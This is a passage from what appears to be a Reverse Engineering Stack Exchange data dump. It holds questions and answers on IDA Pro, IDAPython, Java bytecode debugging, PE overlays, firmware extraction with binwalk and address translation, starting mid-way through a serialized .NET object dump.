BinaryObjectString(ObjectId=69, Value='nec_1_548_v1_0_0.pdf')\n      String AssetBase+_name\n          BinaryObjectString(ObjectId=70, Value='nec_1_548_v1_0_0.pdf')\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-71 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_parentAsset\n          MemberReference(IdRef=6)\n@11913\n  ClassWithId ObjectId=33 Name=Extron.Configuration.Core.Assets.Resource.StreamResourceAsset:\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=64)\n      String ResourceAssetBase+_key\n          BinaryObjectString(ObjectId=65, Value='nec_1_548_v1_0_0.pdf')\n      Object ResourceAssetBase+_content\n          MemberReference(IdRef=66)\n      Object ResourceAssetBase+_tag\n          BinaryObjectString(ObjectId=67, Value='nec_1_548_v1_0_0.pdf')\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] ResourceAssetBase+_internalChildCollection\n          MemberReference(IdRef=64)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          MemberReference(IdRef=64)\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=69, Value='nec_1_548_v1_0_0.pdf')\n      String AssetBase+_name\n          BinaryObjectString(ObjectId=70, Value='nec_1_548_v1_0_0.pdf')\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-71 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_parentAsset\n          MemberReference(IdRef=6)\n@12046\n  ClassWithId ObjectId=35 Name=System.Version:\n      _Major = 1\n      _Minor = 0\n      _Build = 0\n      _Revision = -1\n@12071\n  ClassWithId ObjectId=37 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=20)\n      Collection`1+items = MemberReference(IdRef=21)\n@12090\n  ClassWithId ObjectId=42 Name=System.Version:\n      _Major = 1\n      _Minor = 0\n      _Build = 0\n      _Revision = -1\n@12115\n  ClassWithId ObjectId=44 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=20)\n      Collection`1+items = MemberReference(IdRef=21)\n@12134\n  ClassWithMembers LibraryId=5 ObjectId=48 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverCommandAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=86)\n      Collection`1+items = MemberReference(IdRef=87)\n@12396\n  ClassWithMembers LibraryId=5 ObjectId=52 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Protocols.IProtocolAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=88)\n      Collection`1+items = MemberReference(IdRef=89)\n@12655\n  ClassWithMembers LibraryId=5 ObjectId=56 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverModelAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=90)\n      Collection`1+items = MemberReference(IdRef=91)\n@12915\n  ClassWithMembers LibraryId=5 ObjectId=60 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Automation.IParamAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=92)\n      Collection`1+items = MemberReference(IdRef=93)\n@13172\n  ClassWithId ObjectId=64 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=20)\n      Collection`1+items = MemberReference(IdRef=21)\n
\n\n

You may be able to load the file using some .NET functions, if you first import the driver's libraries. Otherwise, you can use the spec (which is very easy to read) to disassemble the file and extract the contents you want.

\n\n
\n\n

As you noted, there are more files nested inside. Therefore your first step should be to parse the serialized stream to extract everything, then parse the contents of each class member (some of which are complete files, like the PDF and PKP files).

\n" }, { "Id": "6960", "CreationDate": "2015-01-05T11:15:31.940", "Body": "

I'm using IDA Pro 6.5, and I got the offset of a function and its arguments.\nIt looks like this:

\n\n
.text:0000C0DE        int __cdecl func(char* a1, int a2, int a3, int a4, int a5, int a6, char* a7)\n
\n\n

However, it has tons of xrefs (more than 200!)

\n\n

Is there any way of dumping a1 and a7 arguments of every call to a list?
\nI cannot hook and dump the arguments at runtime.

\n\n

I know I can walk the xref list with IDC, but once I'm on the call func instruction, I don't know how to get arguments from the stack.

\n", "Title": "Is there any way to get a list of function arguments used with IDC?", "Tags": "|ida|ida-plugin|", "Answer": "

If you have the Hex-Rays Decompiler, I'd recommend decompiling the entire binary and then grep'ing the resulting decompilation for func(.

\n\n

This should provide you with more useful results than whatever IDC script one could develop.

\n" }, { "Id": "7977", "CreationDate": "2015-01-08T10:50:34.857", "Body": "

IDC has a RunPlugin() function but there seems to be no way to unload a plugin explicitly. I searched high and wide - including the Hex-Rays forums - but found no answers. And judging by this post I'm not the only one.

\n\n

At the moment I'm trying to figure out how certain SDK functions work, by adding some test code to a plugin and loading it into IDA. If I use PLUGIN_KEEP then I can experiment by calling my functions from the IDC prompt, but I have to close the database to unload the plugin. If I use PLUGIN_UNL then I effectively have only one function with a single integer parameter, which severely restricts experimentation...

\n\n

Currently I'm working around that by having PLUGIN_KEEP set upon load but patching PLUGIN_UNL into PLUGIN.flags if the plugin's run function is called with parameter 666, or if the parameter is 0 and this isn't the first call to the run function. The latter is convenient because it allows loading/unloading with a single hotkey, without farting around with the command prompt. The plugin gets loaded automatically when an .IDB is opened, and then it can be unloaded and reloaded freely via the hotkey configured in PLUGIN.wanted_hotkey.

\n\n

However, overall it seems a rather hackish approach relying on undocumented functionality. Is there a better/cleaner way of unloading a plugin, or are there caveats that I should be aware of?

\n", "Title": "Unload plugin without closing the .IDB?", "Tags": "|ida|ida-plugin|idapro-sdk|", "Answer": "
\n

Currently I'm working around that by having PLUGIN_KEEP set upon load\n but patching PLUGIN_UNL into PLUGIN.flags

\n
\n\n

This is not a \"workaround\" but actually a documented way to have IDA unload your plugin.

\n\n
#define PLUGIN_UNL  0x0008      ///< Unload the plugin immediately after calling 'run'.\n                                ///< This flag may be set anytime.\n                                ///< The kernel checks it after each call to 'run'\n                                ///< The main purpose of this flag is to ease\n                                ///< the debugging of new plugins.\n
\n" }, { "Id": "7991", "CreationDate": "2015-01-10T04:57:39.797", "Body": "

What is the good Java debugger for .class files, if no source code available? jdb is seems pretty weak :(\nI don't need to decompile .class, but I want to debug bytecode.

\n", "Title": "Java .class bytecode debugger", "Tags": "|java|", "Answer": "

Possibly the best disassembler & assembler is Krakatau. It's written in python. Bytecode viewer has built-in Krakatau, but it sometimes can't perform as expected.

\n\n

Another one is dirtyjoe which is also a great tool.

\n" }, { "Id": "7994", "CreationDate": "2015-01-10T19:39:12.593", "Body": "

In the IDA View, I frequently use the Escape key to move the cursor back to the previous location. However, sometimes I accidentally hit the Escape key while the focus is still on another view, which causes that view to close. Reopening and positioning the affected view every time this happens can be cumbersome. Is there a way to disable the Escape key only for particular views?

\n", "Title": "Can I prevent IDA from closing the view when I hit the Escape key?", "Tags": "|ida|", "Answer": "

It turns out that this is possible.

\n\n

Navigate to the IDA program directory and open cfg\\idagui.cfg. If you scroll down, you should see something like this:

\n\n
// Built-in window ids\n#define BWN_EXPORTS 0x00000001 // exports\n#define BWN_IMPORTS 0x00000002 // imports\n#define BWN_NAMES   0x00000004 // names\n... several lines removed ...\n#define BWN_DISASMS 0x20000000 // disassembly views\n#define BWN_DUMPS   0x40000000 // hex dumps\n#define BWN_NOTEPAD 0x80000000 // notepad\n\nCLOSED_BY_ESC           = 0x9A0FFFFF    // All windows that are closed by Esc.\n                                        // If a windows is not closed by Esc,\n                                        // it can be closed by Alt-F3.\n                                        // (disasm/hexdump/navband can not be closed by Esc)\n
\n\n

Unset bits from the CLOSED_BY_ESC variable that correspond to the views that you do not want to close with the Escape key. Then save and reopen IDA.

\n" }, { "Id": "8005", "CreationDate": "2015-01-13T13:58:32.977", "Body": "

I was wondering where i might encounter JO/JS/JP JCCs (and their not-counterparts) in compiler generated code? What would it mean? I scrolled through a lot of random code, but wasnt able to find a single instance in straight forward way.

\n\n

thanks.

\n", "Title": "When might a compiler generate JG/JS/JP conditional jumps?", "Tags": "|ida|disassembly|assembly|x86|", "Answer": "

Most compiled code, these days, is C, C++, or possibly Delphi. These languages lack high-level support for some of your instructions, so there is no reason for them to generate them.

\n\n

If C had an operation to determine the parity of a number, the compiler would probably generate a JP instruction for it. But C doesn't have this operation, and since the only reason for it (that i can think of) is serial communications, and serial chips have done parity checking in hardware since at least the 80s, there wasn't ever reason to introduce an extension for it.

\n\n

(There are actually bit operations that are useful in certain scenarios, have processor operations to do them, and are supported by compilers. See http://en.wikipedia.org/wiki/Find_first_set.)

\n\n

Likewise, C doesn't have overflow checking. If a given compiler had a --warn-on-overflow flag, it might be implemented using JC, however.

\n\n

Your other two instructions are just variations of the \"compare two numbers\" topic. JG is a \"reversed\" JLE, JS is a version of JL after comparing to 0. For the compiler, it's more efficient to \"normalize\" comparisons first, then run the optimizer over the normalized comparison, then emit machine code, than maintaining different, but similar, optimizations. \"Greater than\" is the same as \"Not less or equal\"; \"Less than\" is the same as \"not greater or equal\". I've seen gcc produce the latter (JLE and JGE) but not the former (JL and JG). And since JS is just a special case of these, there's not much reason for a compiler to use it.

\n" }, { "Id": "8013", "CreationDate": "2015-01-14T00:15:29.273", "Body": "

I'm trying to change the icon of a .exe file, normally a simple task but this .exe file is a installer and for some reason when after I change or remove the icon, the exe shrinks in size from 300 mb to 12 kb and crashes when it runs.

\n\n

I've tried using Resource Hacker to either replace the icon or remove it but when I try to save it, the result ends up as a tiny file which crashes when it runs. I also tried using IconChanger 3.8 and the same thing happened. I cannot change any resources on the file using Resource Hacker. If I attempt to modify version info, description, anything, it will save as a tiny 12 kb file.

\n\n

Is there some kind of protection against changing resources that I don't know about? What can I do in this situation? Any other methods that might work for changing an icon or removing its icon in this situation?

\n", "Title": "Can't change the icon of a .exe file. Seems to be protected?", "Tags": "|executable|software-security|", "Answer": "

Such a problem is common with executables having overlay.

\n\n

An overlay is extra data appended at the end of a PE. The overlay is located at the end of the sections. When a PE is loaded the overlay is not mapped into the memory of the process.

\n\n

An overlay is common with installers, self extracting archives etc. In order to extract the overlay, you can use any decent PE editor such as exeinfope, Detect It Easy or like this way.

\n\n

Hence for your problem, I would suggest to dump the overlay, make required modifications on the PE, and finally re-append back the dumped overlay to the end of the executable.
For the last step you can use a Hex Editor or the MS-DOS COPY command.

\n" }, { "Id": "8028", "CreationDate": "2015-01-16T02:51:05.293", "Body": "

i'm tried to gather information of firmware and extract the contain with binwalk on kali , when i scanned rom.bin , i have as result many lines 1-> most of lines are LZMA data compressed , but when i extract this data i can't open it. 2-> last line \"Mcrypte 2.2 , blofish crypted\"

\n\n

can some help me , what can i do to extract data correctly

\n\n

here the firmware\nhttp://wikisend.com/download/396604/rom.bin http://wikisend.com/download/194102/ChannelList.bin

\n\n

thank you

\n", "Title": "Binwalk and firmware of a sat receiver", "Tags": "|firmware|", "Answer": "

It's probably obfuscated:\nread more about an obfuscated firmware from WRT120N

\n\n

I think that you should do hardware analysis in order to know how the firmware is unpacked...

\n" }, { "Id": "8029", "CreationDate": "2015-01-16T06:53:20.547", "Body": "

I'm trying to decrypt some audio files. At first I thought that they were encrypted using Blowfish, but apparently \"SHA + Mersenne Twister used for generate key and decrypt\". What exactly does this mean? I know that SHA is a hashing algorithm and that Mersenne Twister is a PRNG but I don't really know what that statement means or what to do.

\n\n

If someone could shed even a little bit of light on what this might mean that would be helpful.

\n", "Title": "SHA + Mersenne Twister", "Tags": "|encryption|hash-functions|", "Answer": "

It looks like someone has written code to decrypt these files.

\n\n

You can see the details of the implementation here: bbtucrypt

\n" }, { "Id": "8030", "CreationDate": "2015-01-16T13:34:31.367", "Body": "

There are a lot of

\n\n
... code ...\ncall sub_...\nnop\n... code ...\n
\n\n

patterns in an executable dump I am working on. They appear in the middle of subroutines and I believe don't serve alignment purposes. I am curious about the origins of this construct.

\n\n

The program was packed, so I am not sure if call-nop pair was there initially or appeared after unpacking.

\n", "Title": "Purpose of NOP immediately after CALL instruction", "Tags": "|x86-64|", "Answer": "

It is likely that the first instruction after the NOP is the target of a different branch/jump somewhere else. Jumping to aligned targets is normally preferable both for better i-cache utilization and for better BTB predictions:

\n\n
\n

11.5 Alignment of code

\n \n

Most microprocessors fetch code in aligned 16-byte or 32-byte blocks.

\n \n

If an important subroutine entry or jump\n label happens to be near the end of a 16-byte block then the\n microprocessor will only get a few useful bytes of code when fetching\n that block of code. It may have to fetch the next 16 bytes too before\n it can decode the first instructions after the label. This can be\n avoided by aligning important subroutine entries and loop entries by\n 16.

\n \n

Aligning by 8 will assure that at least 8 bytes of code can be loaded with the first instruction fetch, which may be sufficient if\n the instructions are small.

\n \n

We may align subroutine entries by the\n cache line size (typically 64 bytes) if the subroutine is part of a\n critical hot spot and the preceding code is unlikely to be executed in\n the same context.

\n
\n\n

http://agner.org/optimize/optimizing_assembly.pdf#page=86

\n\n

This would make that NOP just a padding to align the following instructions. As pointed out elsewhere, adding padding for this must be done carefully because adding padding blindly is likely to lead to worse i-cache usage and therefore a decrease in performance. Always measure.

\n\n
\n\n

note: in other architectures (i.e. not x86/x86-64) NOPs after calls are sometimes required; since the question is about x86-64 this shouldn't apply.

\n" }, { "Id": "8034", "CreationDate": "2015-01-16T20:44:52.900", "Body": "

What is the best tool to trace system resources a program is touching. For example, which registry keys, other files or DLLs it's loading, internet connections it's opening, etc...?

\n\n

I saw this question on reddit.com/r/ReverseEngineering and the mod had said it would be an excellent question for SE. After searching, I can't find a similar question asked.

\n\n

So, what tool do you use/recommend for tracing system resources a program touches in the context of Windows 7/8?

\n", "Title": "What tools are available to trace system resources a program is touching in windows?", "Tags": "|windows|", "Answer": "
\n

Process Monitor\n
Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity.

\n
\n\n

\n\n
\n

Windows Performance Toolkit\n
The Windows Performance Toolkit (WPT, or xperf) is a free toolset from Microsoft that lets you see everything happening on your system in order to investigate otherwise invisible performance problems in your game. WPT can show Disk IO, registry access, GPU packets, page faults, context switches, kernel activity, and even has a sampling profiler, all integrated into one visualizer.

\n
\n\n

\n\n
\n

API Monitor\n
API Monitor is a free software that lets you monitor and control API calls made by applications and services. Its a powerful tool for seeing how applications and services work or for tracking down problems that you have in your own applications.

\n
\n\n

\n\n
\n

SpyStudio \n
SpyStudio shows and interprets calls, displaying the results in a structured way which is easy for any IT professional to understand. SpyStudio can show registry keys and files that an application uses, COM objects and Windows the application has created, and errors and exceptions

\n
\n" }, { "Id": "8037", "CreationDate": "2015-01-16T23:33:46.270", "Body": "

Cracked the game with clutch and set watchpoint on the value address, when the value changes it breaks just fine but when i go to that binary address in IDA it shows me different instruction, here's some Pic's for more explanation:

\n\n

\"Image1\"\n\"Image2\"\n\"Image3\"

\n\n

I have tried disabling ASLR but nothing changed.

\n", "Title": "Reversing iOS games with LLDB and IDA on arm64", "Tags": "|ida|ios|lldb|", "Answer": "

This might be stupid, but you say you are debugging the ARM64 binary, and yet in IDA Pro it says you are disassembling the ARMv7 binary. So you are disassembling the incorrect binary in IDA Pro.

\n\n

To fix this, open the binary in 64 bit version of IDA Pro. It will automatically disassemble the 64 bit binary.

\n" }, { "Id": "8050", "CreationDate": "2015-01-19T10:45:41.717", "Body": "

This is a very silly question, but surprisingly I've had a problem with this today.\nIn a hex editor, I've found an offset and I wanted to take a look at that code in a disassembler. In the hex-editor, the offset is EBE75, and it looks like this:

\n\n

\"enter

\n\n

Obviously a CALL, I wanted to find it in IDA/Olly and take a look. This is, however, where I wasn't sure how to translate that to an offset that IDA/Olly could understand. Do I add the imagebase, or maybe the offset of the .text section? I've managed to find the code using IDA's hexscan, and it's located at address 004ECA75:

\n\n

\"enter

\n\n

The difference between these addresses is 4ECA75 - EBE75 = 400C00. This is quite surprising to me, where did that number come from? How is this related to the .exe's layout?

\n", "Title": "\"Raw\" offsets to \"disassembler\" offsets?", "Tags": "|hex|offset|", "Answer": "

ollydbg 1.10

\n\n

if you have

\n\n
    \n
  1. the binary loaded in ollydbg
    2. \n
  2. disasm window is in the correct module
    3. \n

  3. the binary is also open in hexeditor

    \n\n

    Right Click -> View -> Executable File

    4. \n
\n\n

In the New Window do ctrl+g and enter the offset you saw in hexeditor ebe75

\n\n
right click in new window -> follow in disassembler\n
\n\n

in hexeditor 0x1529 has the 0xe8 opcode

\n\n
xxd -s 0x1520 -l 0x10 -g 1 c:\\WINDOWS\\system32\\calc.exe\n0001520: ff d6 6a 01 a3 4c 4d 01 01 e8 e9 f8 ff ff 6a 69  ..j..LM.......ji\n
\n\n

in ollydbg after rightclick-> view -> executable file and ctrl+g 1520 in new window

\n\n
00001520    FFD6            CALL    NEAR ESI\n00001522    6A 01           PUSH    1\n00001524    A3 4C4D0101     MOV     DWORD PTR DS:[1014D4C], EAX\n00001529    E8 E9F8FFFF     CALL    00000E17\n0000152E    6A 69           PUSH    69\n
\n\n

in new window rightclick -> view image in disassembler

\n\n
01002120  |.  FFD6                   CALL    NEAR ESI                         ; \\GetProfileIntW\n01002122  |.  6A 01                  PUSH    1                                ; /Arg1 = 00000001\n01002124  |.  A3 4C4D0101            MOV     DWORD PTR DS:[gbUseSep], EAX     ; |\n01002129  |.  E8 E9F8FFFF            CALL    InitSciCalc                      ; \\InitSciCalc\n0100212E  |.  6A 69                  PUSH    69                               ; /TableName = 69\n
\n" }, { "Id": "8051", "CreationDate": "2015-01-19T12:42:04.713", "Body": "

I'm debugging an IDAPython script on my host machine and I have IDA running on my Windows VM. The folder containing the IDAPython script on the host machine is shared with the VM.

\n\n

The first time I run the IDAPython script in IDA it works fine. However, for subsequent runs a cached version of the script seems to be running. I end up having to close and re-start IDA in order for the changes to get loaded up. Is there an easier way? I run scripts as File > Open Script file.

\n", "Title": "IDAPython script does not reload", "Tags": "|ida|idapython|", "Answer": "

You can use idaapi.require("module_name") to reload the script.\nThere is more information about it in the HexBlog article, Loading your own modules from your IDAPython scripts with idaapi.require().

\n" }, { "Id": "8058", "CreationDate": "2015-01-19T19:57:49.493", "Body": "

In advance, I'd say I'm learning reverse engineering newly.\nIndeed, there are some questions to be asked.

\n\n

First of all I would ask : In assembly level of the applications which use GUI ,how things like forms,buttons,etc are represented ? For example, when we can find out a button is clicked and things like that ? In all languages which support GUI they use same API for buttons or forms or ... ?

\n\n

And there's an another question in the other side of reversing(from Export tables addresses):\nConsider the example of a program which has two export address (for example start and a debug checker) which they're declared as public in the disassembled approach, so how we can figure out which one would be executed at first ?

\n\n

Thanks all.

\n", "Title": "GUI represention in assembly level and another question", "Tags": "|ida|disassembly|debugging|winapi|", "Answer": "

welcome to the Reverse Engineering SE!

\n\n

Unfortunately, your question isn't written very well. You shouldn't try to put two different questions into one, because that makes it more difficult to give a good answer.

\n\n

Also, both parts of your question should probably go better to stackoverflow, as both of them are more about software development than about reverse engineering.

\n\n

As a rule of thumb, you can't reverse anything that you can't build.

\n\n

You should get acquainted with various GUI frameworks - plain Windows, MFC, .net, delphi. java swing, gtk, qt, wxwidgets) to find out how they work, which differences there are, and which things they have in common. Then, you'll probably be able to identify which framework a program you're trying to reverse uses, and you'll be able to identify the patterns how they are used. But unless you've written a few programs in at least some of them, you wouldn't even understand other programs if you had their source code, much less if you have the binaries. So get some experience there first.

\n\n

Also, import and export addresses aren't about where the program starts; they're about putting .dll libraries and the program together before it's being executed. You should learn about dynamic linking and creating DLLs before trying to reverse them. The program entry point is defined in the headers of the program, and it doesn't have anything to do with exports and imports.

\n" }, { "Id": "8063", "CreationDate": "2015-01-20T15:17:12.570", "Body": "

I have a firmware image that is used for flashing a BMW NBT navigation system that I want to research. I did a binwalk on the file (dump below).

\n\n

I want to extract the individual files, especially the ELF files and the LZMA compressed files. Can this be done with objcopy and dd ?

\n\n

A small example would be great.

\n\n
DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n114           0x72            XML document, version: \"1.0\"\n8840          0x2288          ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n52909         0xCEAD          eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n53692         0xD1BC          eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n58157         0xE32D          ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n64383         0xFB7F          eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n65035         0xFE0B          eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n65611         0x1004B         eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n66263         0x102D7         eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n68264         0x10AA8         ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV)\n105904        0x19DB0         LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n254206        0x3E0FE         ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV)\n1672272       0x198450        eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n1865538       0x1C7742        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n1873098       0x1C94CA        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n1884709       0x1CC225        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n1884817       0x1CC291        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n1895380       0x1CEBD4        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n1976563       0x1E28F3        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n1994774       0x1E7016        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2067424       0x1F8BE0        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2109540       0x203064        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2190676       0x216D54        LZMA compressed data, properties: 0x5E, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes\n2191505       0x217091        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2322380       0x236FCC        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n2322488       0x237038        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2325714       0x237CD2        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2341002       0x23B88A        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes\n2341757       0x23BB7D        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2416921       0x24E119        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2420792       0x24F038        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2497195       0x261AAB        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2668975       0x28B9AF        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2769589       0x2A42B5        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2848565       0x2B7735        LZMA compressed data, properties: 0x5E, dictionary size: 16777216 bytes, uncompressed size: 50331648 bytes\n2849037       0x2B790D        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3035059       0x2E4FB3        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3064068       0x2EC104        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3109994       0x2F746A        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3138482       0x2FE3B2        LZMA compressed data, properties: 0x5E, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes\n3139318       0x2FE6F6        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3351394       0x332362        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3383710       0x33A19E        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3388738       0x33B542        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3488674       0x353BA2        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3537093       0x35F8C5        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n3537201       0x35F931        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3551343       0x36306F        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3557569       0x3648C1        eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n3558221       0x364B4D        eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n3558797       0x364D8D        eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n3559449       0x365019        eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n3561455       0x3657EF        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n4111948       0x3EBE4C        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n4313272       0x41D0B8        eCos RTOS string reference: \"ECOScheme\"\n4571691       0x45C22B        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n4571799       0x45C297        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n4574094       0x45CB8E        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit\n4653693       0x47027D        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n4671701       0x4748D5        LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, missing uncompressed size\n6264853       0x5F9815        LZMA compressed data, properties: 0x90, dictionary size: 16777216 bytes, uncompressed size: 9995975 bytes\n6655733       0x658EF5        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n6656288       0x659120        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n6663431       0x65AD07        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit\n6985016       0x6A9538        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 50331648 bytes\n6985572       0x6A9764        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n7350538       0x70290A        LZMA compressed data, properties: 0xD8, dictionary size: 16777216 bytes, uncompressed size: 203703495 bytes\n7436659       0x717973        Copyright string: \" 1995-2005 Jean-loup Gailly valid block type\"\n7441843       0x718DB3        Copyright string: \" 1995-2005 Mark Adler \"\n7475248       0x721030        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 50331648 bytes\n7475807       0x72125F        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n7489707       0x7248AB        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n7490222       0x724AAE        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n8328766       0x7F163E        LZMA compressed data, properties: 0xC7, dictionary size: 4194304 bytes, uncompressed size: 272680704 bytes\n9051574       0x8A1DB6        Ubiquiti partition header, header size: 56 bytes, name: \"ICLE\", base address: 0x00000000, data size: 0 bytes\n9298202       0x8DE11A        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n9298762       0x8DE34A        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n9307694       0x8E062E        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n9308222       0x8E083E        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n9335661       0x8E736D        Copyright string: \" 1995-2005 Mark Adler \"\n9338719       0x8E7F5F        LZMA compressed data, properties: 0x5D, dictionary size: 262144 bytes, missing uncompressed 